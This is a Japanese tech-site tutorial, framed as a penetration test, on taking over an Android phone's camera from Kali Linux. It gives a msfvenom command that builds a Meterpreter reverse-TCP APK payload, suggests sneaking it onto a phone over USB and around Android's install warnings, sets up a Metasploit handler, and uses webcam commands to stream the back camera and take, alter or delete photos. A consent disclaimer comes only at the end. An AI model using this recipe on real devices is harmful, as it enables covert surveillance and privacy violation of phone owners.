Linux
 Computer >> コンピューター >  >> システム >> Linux

Kali LinuxでAndroidスマホのカメラを侵入テストする方法|ペネトレーションテスト完全ガイド

Kali LinuxでAndroidスマホのカメラを侵入テストする方法|ペネトレーションテスト完全ガイド

ハッカーがAndroidスマホのカメラを乗っ取り、ユーザーを盗み見したり偽の映像を表示させたりしたというニュースが、これまでに何度も報じられています。警戒心の強いスマホユーザーであれば、こうした脅威がどの程度現実味を持つのか、実際のリスクはどこにあるのかを自分で確かめたいと考えるでしょう。

Kali Linuxは、ペネトレーションテスト(侵入テスト)を通じてAndroidスマホのカメラに潜む潜在的な脆弱性を検証できる、最も優れたツールの一つです。ハッカーによるカメラへのリモートアクセスの試みをいち早く察知し、備えるための第一歩となります。

エクスプロイトペイロードの作成とインストール

Kali Linuxでペネトレーションテストを行うには、まず公式サイトからOSをダウンロードしてください。本手順で使用する「msfvenom」「msfconsole」「meterpreter」などの専門用語の定義については、過去のチュートリアル記事を参照すると理解が深まります。

侵入テストの最初のステップは、標準的なエクスプロイトペイロードを対象デバイスに仕込むことです。Kali Linuxのターミナルを開き、次のコマンドを入力しましょう。ifconfig を実行すると、Kali LinuxセッションのIPアドレスを確認できます。

Kali LinuxでAndroidスマホのカメラを侵入テストする方法|ペネトレーションテスト完全ガイド

続いて、先ほど取得したIPアドレスを使って、下記のコマンドを入力します。エクスプロイトやトロイの木馬などに用いられるポート番号は、一般的に「4444」が指定されます。

msfvenom -p android/meterpreter/reverse_tcp LHOST=IPアドレス LPORT=4444 R > Payload.apk

このステップでは、JavaインタープリターをベースとしたMetasploitペイロードの注入を試みます。成功すれば、通話の盗聴、SMSへの不正アクセス、位置情報の特定など、スマホがどのような攻撃に脆弱なのかを検証できます。

今回は、このエクスプロイトを利用してスマホのカメラにアクセスできるかどうかを確認するのが目的です。

Kali LinuxでAndroidスマホのカメラを侵入テストする方法|ペネトレーションテスト完全ガイド

エクスプロイトの生成が完了すると、「Payload」という名前のAPKファイルがルートフォルダに作成されます。これをテスト対象のAndroidスマホにインストールする必要がありますが、これは口で言うほど簡単ではありません。比較的新しいAndroid端末やメールアプリの多くは、マルウェアが仕込まれたファイルの受け渡しを自動的に拒否します。これはセキュリティ上、望ましい挙動です。

とはいえ、USBケーブル接続や一時ファイルの受け渡しなどの経路を使えば、実現可能なケースもあります。ハッカーが数分でもスマホに物理的にアクセスできれば、そこに脆弱性が生まれ得るのです。今回のペネトレーションテストの狙いは、そのリスクの正確な範囲を測定することにあります。

Kali LinuxでAndroidスマホのカメラを侵入テストする方法|ペネトレーションテスト完全ガイド

ファイルを転送したら、次はペイロードファイルをスマホにインストールする方法を見つけなければなりません。非常に古いAndroidバージョンでない限り、APKのインストール前には複数回の警告が表示されるはずです。しかし、Androidのバージョンに関わらず、提供元不明のアプリをインストールする抜け道は他にも数多く存在するのが実情です。

Kali LinuxでAndroidスマホのカメラを侵入テストする方法|ペネトレーションテスト完全ガイド

エクスプロイトの起動

作成したPayloadエクスプロイトを起動するには、次のコマンドを入力します:msfconsole。実行にはわずか数秒しかかからず、スマホのカメラに対するさらなるペネトレーションテストに向けて、Metasploitの準備が整います。

Kali LinuxでAndroidスマホのカメラを侵入テストする方法|ペネトレーションテスト完全ガイド

起動後、Metasploitの詳細な情報が表示され、ペイロードのサマリーも確認できます。ここには、稼働中のエクスプロイトの数などが示されています。

Kali LinuxでAndroidスマホのカメラを侵入テストする方法|ペネトレーションテスト完全ガイド

次のステップでは、msfconsoleからエクスプロイトを起動します。先ほど控えておいたIPアドレスとポート番号(4444)を参照し、以下のコマンドを順に入力してください。

exploit (multi/handler) > set LHOST "IPアドレス" [ENTER]
set LPORT "ポート番号" [ENTER]
exploit [ENTER]
Kali LinuxでAndroidスマホのカメラを侵入テストする方法|ペネトレーションテスト完全ガイド

リバースTCPハンドラーが有効化されると、Meterpreterが起動していく各段階のログが表示されます。ターゲットのスマホを診断する間、数秒ほど待機しましょう。

ここで重要な点として、最新のAndroidスマホの多くは、この種のアクセスを拒否し続けます。あくまでこれはペネトレーションテストです。もし危険性の高いAPKファイルによってスマホに侵入できないのであれば、それはスマホメーカーがこの攻撃ベクトルを認識し、対策を講じていることの証左といえます。

Kali LinuxでAndroidスマホのカメラを侵入テストする方法|ペネトレーションテスト完全ガイド

Androidスマホのカメラへのアクセス

エクスプロイトの注入に成功していた場合、スマホへの侵入が可能になっているかもしれません。その場合、Kali Linuxターミナル上の「meterpreter」がスマホとの接続を確立します。この時点で help コマンドを入力すると、攻撃対象となったAndroidスマホ内のさまざまな操作オプション一覧を表示できます。

Kali LinuxでAndroidスマホのカメラを侵入テストする方法|ペネトレーションテスト完全ガイド

ヘルプメニューの中から、スマホのカメラにアクセスするための以下のコマンドを入力します。今回のエクスプロイトでは、背面カメラにアクセスし、ターミナル側から撮影を行うことを試みました。

webcam_list [ENTER]
1. Back camera
2. Front camera [ENTER]
webcam_stream -i 1

ペネトレーションテストを完遂するには、カメラへのアクセスを確保した後、実際に写真を撮影し、Kali Linuxのルートフォルダに保存してみましょう。保存済みの他の画像を編集・リネーム・削除することも可能です。つまり、テスト対象のスマホへの侵入が成功したということは、実際の攻撃を受ける可能性があることへの警鐘であり、今すぐセキュリティパッチを適用すべきタイミングだということです。

Kali LinuxでAndroidスマホのカメラを侵入テストする方法|ペネトレーションテスト完全ガイド

このチュートリアルでは、ペネトレーションテストの一環として、Kali LinuxターミナルからAndroidスマホのカメラへアクセスする方法を学びました。

なお、本記事はセキュリティ研究を目的とした内容です。他人のカメラにアクセスしてデモンストレーションを行う場合は、必ず事前に本人の許可を得てください。もちろん、自分自身のスマホであればその限りではありません。あわせて、スマホの脆弱性をテスト・発見するのに役立つAndroid向けセキュリティアプリもチェックしておくことをおすすめします。

  1. WSLでWindows 10・11上にLinux環境を構築する方法|インストールからGUIアプリ起動まで

    はじめに筆者はOS関連の学習でWSL(Windows Subsystem for Linux)を長年利用しています。仮想マシンの構築やデュアルブートといった複雑な準備なしに、Windows上で直接Linuxコマンドを実行できる手軽さが大きな魅力です。この記事を読み終える頃には、WindowsからそのままLinuxコマンドを実行できるようになっているはずです。Windows上でLinuxコマンドを実行している様子前提条件WSLを快適に運用するには、Windows 11へのアップグレードをおすすめします。Windows 10でもWSLは利用できますが、筆者の経験上、Windows 11の方がはるか

  2. Linux上でAndroid-x86とVirtualBoxを使ってAndroidゲームを楽しむ方法

    この記事では、Linux上で仮想マシンを活用しながら、お気に入りのAndroidゲームを楽しむ方法を紹介します。Androidスマートフォンをお持ちなら、その中の面白いゲームにハマっている方も多いのではないでしょうか。あるいは、スマホでしか動かないアプリを使いたいというケースもあるかもしれません。そんなとき、ふとこう考えたことはありませんか?――「このゲームやアプリをデスクトップPCでも動かせたらいいのに」と。話をシンプルにするため、ここでは対象をAndroidで動作するアプリケーションに絞って説明します。解決策の一つは、PC上でAndroidエミュレータを実行することです。しかしAndroi